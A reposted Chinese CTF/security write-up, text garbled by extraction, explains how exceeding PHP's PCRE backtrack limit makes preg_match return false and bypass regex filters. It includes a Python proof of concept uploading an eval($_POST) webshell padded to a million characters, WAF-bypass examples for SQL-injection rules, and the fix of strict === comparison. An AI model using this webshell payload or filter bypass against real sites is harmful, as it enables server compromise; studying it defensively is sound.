搜索

[13489] 2018-12-03_PHP利用PCRE回溯次数限制绕过某些安全限制

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2018-12-03_PHP利用PCRE回溯次数限制绕过某些安全限制 P H P 利 用 P C R E 回 溯 次 数 限 制 绕 过 某 些 安 全 限 制 p h i t h o n   F r e e B u f   2 0 1 8 - 1 2 - 0 3 这 次 这 次   C o d e - B r e a k i n g   P u z z l e s   中 我 出 了 一 道 看 似 很 简 单 的 题 目 中 我 出 了 一 道 看 似 很 简 单 的 题 目 p c r e w a f ， 将 其 代 码 简 化 如 下 ： ， 将 其 代 码 简 化 如 下 ： 大 意 是 判 断 一 下 用 户 输 入 的 内 容 有 没 有   P H P   代 码 ， 如 果 没 有 ， 则 写 入 文 件 。 这 种 时 候 ， 如 何 绕 过   i s _ p h p ( )   函 数 来 写 入   w e b s h e l l   呢 ？ 这 道 题 看 似 简 单 ， 深 究 其 原 理 ， 还 是 值 得 写 一 篇 文 章 的 。 0 x 0 1   正 则 表 达 式 是 什 么 正 则 表 达 式 是 什 么 正 则 表 达 式 是 一 个 可 以 被 「 有 限 状 态 自 动 机 」 接 受 的 语 言 类 。 「 有 限 状 态 自 动 机 」 ， 其 拥 有 有 限 数 量 的 状 态 ， 每 个 状 态 可 以 迁 移 到 零 个 或 多 个 状 态 ， 输 入 字 串 决 定 执 行 哪 个 状 态 的 迁 移 。 而 常 见 的 正 则 引 擎 ， 又 被 细 分 为   D F A （ 确 定 性 有 限 状 态 自 动 机 ） 与   N F A （ 非 确 定 性 有 限 状 态 自 动 机 ） 。 他 们 匹 配 输 入 的 过 程 分 别 是 ： D F A :   从 起 始 状 态 开 始 ， 一 个 字 符 一 个 字 符 地 读 取 输 入 串 ， 并 根 据 正 则 来 一 步 步 确 定 至 下 一 个 转 移 状 态 ， 直 到 匹 配 不 上 或 走 完 整 个 输 入 N F A ： 从 起 始 状 态 开 始 ， 一 个 字 符 一 个 字 符 地 读 取 输 入 串 ， 并 与 正 则 表 达 式 进 行 匹 配 ， 如 果 匹 配 不 上 ， 则 进 行 回 溯 ， 尝 试 其 他 状 态 由 于   N F A   的 执 行 过 程 存 在 回 溯 ， 所 以 其 性 能 会 劣 于   D F A ， 但 它 支 持 更 多 功 能 。 大 多 数 程 序 语 言 都 使 用 了   N F A   作 为 正 则 引 擎 ， 其 中 也 包 括   P H P   使 用 的   P C R E   库 。 0 x 0 2   回 溯 的 过 程 是 怎 样 的 回 溯 的 过 程 是 怎 样 的 所 以 ， 我 们 题 目 中 的 正 则   < ? . [ ( ` ; ? > ] . ， 假 设 匹 配 的 输 入 是   < ? p h p   p h p i n f o ( ) ; / / a a a a a ， 实 际 执 行 流 程 是 这 样 的 ： < ? p h p f u n c t i o n   i s _ p h p ( $ d a t a ) {             r e t u r n   p r e g _ m a t c h ( ' / < ? . * [ ( ` ; ? > ] . * / i s ' ,   $ d a t a ) ;     } i f ( ! i s _ p h p ( $ i n p u t ) )   {         / /   f w r i t e ( $ f ,   $ i n p u t ) ;   . . . }
见 上 图 ， 可 见 第   4   步 的 时 候 ， 因 为 第 一 个   . *   可 以 匹 配 任 何 字 符 ， 所 以 最 终 匹 配 到 了 输 入 串 的 结 尾 ， 也 就 是   / / a a a a a 。 但 此 时 显 然 是 不 对 的 ， 因 为 正 则 显 示 . * 后 面 还 应 该 有 一 个 字 符   [ ( ` ; ? > ] 。 所 以   N F A   就 开 始 回 溯 ， 先 吐 出 一 个   a ， 输 入 变 成 第   5   步 显 示 的   / / a a a a ， 但 仍 然 匹 配 不 上 正 则 ， 继 续 吐 出   a ， 变 成 / / a a a ， 仍 然 匹 配 不 上 … … 最 终 直 到 吐 出 ; ， 输 入 变 成 第   1 2   步 显 示 的   < ? p h p   p h p i n f o ( ) ， 此 时   ， . *   匹 配 的 是   p h p   p h p i n f o ( ) ， 而 后 面 的   ;   则 匹 配 上   [ ( ` ; ? > ]   ， 这 个 结 果 满 足 正 则 表 达 式 的 要 求 ， 于 是 不 再 回 溯 。 1 3   步 开 始 向 后 匹 配 ; ， 1 4   步 匹 配 . ， 第 二 个 . 匹 配 到 了 字 符 串 末 尾 ， 最 后 结 束 匹 配 。 在 调 试 正 则 表 达 式 的 时 候 ， 我 们 可 以 查 看 当 前 回 溯 的 次 数 ： 这 里 回 溯 了   8   次 。 0 x 0 3   P H P   的 的   p c r e . b a c k t r a c k _ l i m i t   限 制 利 用 限 制 利 用 P H P   为 了 防 止 正 则 表 达 式 的 拒 绝 服 务 攻 击 （ r e D O S ） ， 给   p c r e   设 定 了 一 个 回 溯 次 数 上 限   p c r e . b a c k t r a c k l i m i t 。 我 们 可 以 通 过   v a r d u m p ( i n i g e t ( ' p c r e . b a c k t r a c k l i m i t ' ) ) ; 的 方 式 查 看 当 前 环 境 下 的 上 限 ： 这 里 有 个 有 趣 的 事 情 ， 就 是   P H P   文 档 中 ， 中 英 文 版 本 的 数 值 是 不 一 样 的 ：
我 们 应 该 以 英 文 版 为 参 考 。 可 见 ， 回 溯 次 数 上 限 默 认 是   1 0 0   万 。 那 么 ， 假 设 我 们 的 回 溯 次 数 超 过 了   1 0 0   万 ， 会 出 现 什 么 现 象 呢 ？ 比 如 ： 可 见 ， p r e g _ m a t c h   返 回 的 非   1   和   0 ， 而 是   f a l s e 。 p r e g m a t c h   函 数 返 回   f a l s e   表 示 此 次 执 行 失 败 了 ， 我 们 可 以 调 用   v a r d u m p ( p r e g l a s t e r r o r ( )   = = = P R E G B A C K T R A C K L I M I T _ E R R O R ) ; ， 发 现 失 败 的 原 因 的 确 是 回 溯 次 数 超 出 了 限 制 ： 所 以 ， 这 道 题 的 答 案 就 呼 之 欲 出 了 。 我 们 通 过 发 送 超 长 字 符 串 的 方 式 ， 使 正 则 执 行 失 败 ， 最 后 绕 过 目 标 对   P H P   语 言 的 限 制 。 对 应 的   P O C   如 下 ： 0 x 0 4   P C R E   另 一 种 错 误 的 用 法 另 一 种 错 误 的 用 法 延 伸 一 下 ， 很 多 基 于   P H P   的   W A F ， 如 ： i m p o r t   r e q u e s t s f r o m   i o   i m p o r t   B y t e s I O f i l e s   =   {     ' f i l e ' :   B y t e s I O ( b ' a a a < ? p h p   e v a l ( $ _ P O S T [ t x t ] ) ; / / '   +   b ' a '   *   1 0 0 0 0 0 0 ) } r e s   =   r e q u e s t s . p o s t ( ' h t t p : / / 5 1 . 1 5 8 . 7 5 . 4 2 : 8 0 8 8 / i n d e x . p h p ' ,   f i l e s = f i l e s ,   a l l o w _ r e d i r e c t s = F a l s e ) p r i n t ( r e s . h e a d e r s ) < ? p h p i f ( p r e g _ m a t c h ( ' / S E L E C T . + F R O M . + / i s ' ,   $ i n p u t ) )   {         d i e ( ' S Q L   I n j e c t i o n ' ) ; }
均 存 在 上 述 问 题 ， 通 过 大 量 回 溯 可 以 进 行 绕 过 。 另 外 ， 我 遇 到 更 常 见 的 一 种   W A F   是 ： 这 里 涉 及 到 了 正 则 表 达 式 的 「 非 贪 婪 模 式 」 。 在   N F A   中 ， 如 果 我 输 入   U N I O N / a a a a a / S E L E C T ， 这 个 正 则 表 达 式 执 行 流 程 如 下 ： . + ?   匹 配 到 / 因 为 非 贪 婪 模 式 ， 所 以 . + ?   停 止 匹 配 ， 而 由   S   匹 配 * S   匹 配 失 败 ， 回 溯 ， 再 由 . + ?   匹 配 因 为 非 贪 婪 模 式 ， 所 以 . + ?   停 止 匹 配 ， 而 由   S   匹 配   a S   匹 配   a   失 败 ， 回 溯 ， 再 由 . + ?   匹 配   a . . . 回 溯 次 数 随 着   a   的 数 量 增 加 而 增 加 。 所 以 ， 我 们 仍 然 可 以 通 过 发 送 大 量   a ， 来 使 回 溯 次 数 超 出 p c r e . b a c k t r a c k _ l i m i t   限 制 ， 进 而 绕 过   W A F ： 0 x 0 5   修 复 方 法 修 复 方 法 那 么 ， 如 何 修 复 这 个 问 题 呢 ？ 其 实 如 果 我 们 仔 细 观 察   P H P   文 档 ， 是 可 以 看 到   p r e g _ m a t c h   函 数 下 面 的 警 告 的 ： 如 果 用   p r e g _ m a t c h   对 字 符 串 进 行 匹 配 ， 一 定 要 使 用 = = = 全 等 号 来 判 断 返 回 值 ， 如 ： 这 样 ， 即 使 正 则 执 行 失 败 返 回   f a l s e ， 也 不 会 进 入   i f   语 句 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： p h i t h 0 n ， 本 文 属 ， 本 文 属 F r e e B u f 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 原 创 奖 励 计 划 ， 未 经 许 可 禁 止 转 载 < ? p h p i f ( p r e g _ m a t c h ( ' / U N I O N . + ? S E L E C T / i s ' ,   $ i n p u t ) )   {         d i e ( ' S Q L   I n j e c t i o n ' ) ; } < ? p h p f u n c t i o n   i s _ p h p ( $ d a t a ) {             r e t u r n   p r e g _ m a t c h ( ' / < ? . * [ ( ` ; ? > ] . * / i s ' ,   $ d a t a ) ;     } i f ( i s _ p h p ( $ i n p u t )   = = =   0 )   {         / /   f w r i t e ( $ f ,   $ i n p u t ) ;   . . . }
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理